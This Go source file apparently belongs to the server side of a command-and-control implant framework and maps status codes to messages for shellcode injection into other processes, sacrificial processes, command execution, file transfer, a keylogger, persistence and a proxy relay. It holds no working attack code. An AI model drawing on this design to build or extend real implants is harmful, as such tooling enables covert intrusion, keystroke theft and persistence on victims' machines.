88 lines
2.7 KiB
Go
88 lines
2.7 KiB
Go
package main
|
||
|
||
// Codes maps integer codes to their client-facing messages.
|
||
// Ranges:
|
||
// 1xx – General / Core
|
||
// 2xx – Memory injection
|
||
// 4xx – Command execution
|
||
// 6xx – File transfer
|
||
// 7xx – Keylogger
|
||
// 8xx – Persistence
|
||
// 9xx – Proxy / Agent
|
||
var Codes = map[int]string{
|
||
// === 1xx – General / Core ===
|
||
100: "Agent started successfully",
|
||
101: "Operation completed successfully",
|
||
190: "Unknown internal error",
|
||
193: "Unknown command",
|
||
194: "This command is currently disabled",
|
||
|
||
// === 2xx – Memory Injection ===
|
||
200: "Successfully injected shellcode",
|
||
201: "Captured output",
|
||
202: "No output captured",
|
||
278: "Failed to open target process",
|
||
279: "Failed to allocate memory for payload",
|
||
280: "Failed to write target process memory",
|
||
281: "Failed to change memory protection for payload",
|
||
282: "Failed to create thread for shellcode",
|
||
283: "Failed to execute in-memory function",
|
||
284: "Failed to free allocated memory for payload",
|
||
287: "Could not create named pipe",
|
||
288: "Failed to set up parent process attribute",
|
||
289: "Failed to create sacrificial process",
|
||
|
||
// Kill and Cleanup
|
||
300: "Exiting",
|
||
301: "Cleaned up and exited",
|
||
|
||
// === 4xx – Command Execution ===
|
||
400: "Command executed successfully",
|
||
401: "Command executed but no output",
|
||
406: "Sleep time updated",
|
||
480: "Invalid command type",
|
||
481: "Failed to execute command",
|
||
|
||
// === cdx – Directory Navigation ===
|
||
500: "Changed directory",
|
||
580: "Could not change directory",
|
||
581: "Unknown directory command",
|
||
|
||
// === 6xx – File Transfer ===
|
||
600: "File downloaded successfully",
|
||
601: "File uploaded successfully",
|
||
602: "Failed to upload file",
|
||
690: "Path does not exist",
|
||
|
||
// === 7xx – Keylogger ===
|
||
700: "Keylogger initialized",
|
||
701: "Keylogger stopped",
|
||
780: "Failed to create keylog timer thread",
|
||
781: "Failed to create keylogger initialization thread",
|
||
782: "Keylogger module wasn't included",
|
||
783: "Persistence module wasn't included",
|
||
|
||
// === 8xx – Persistence ===
|
||
800: "Persistence installed",
|
||
801: "Persistence removed or wasn't installed",
|
||
880: "Failed to copy executable to persistence location",
|
||
881: "Failed to create batch file for persistence",
|
||
|
||
// === 9xx – Proxy / Agent ===
|
||
// Server success
|
||
900: "Started proxy server",
|
||
901: "Proxy server stopped",
|
||
// Agent success
|
||
902: "Proxy agent stopped and cleaned up",
|
||
903: "Proxy relay thread started",
|
||
// Server errors
|
||
980: "Proxy server already running",
|
||
981: "Failed to create proxy server thread",
|
||
982: "Proxy server not running",
|
||
// Agent errors
|
||
983: "Proxy relay already running",
|
||
984: "Failed to create proxy relay thread",
|
||
985: "Proxy agent not running",
|
||
986: "Proxy module wasn't included",
|
||
}
|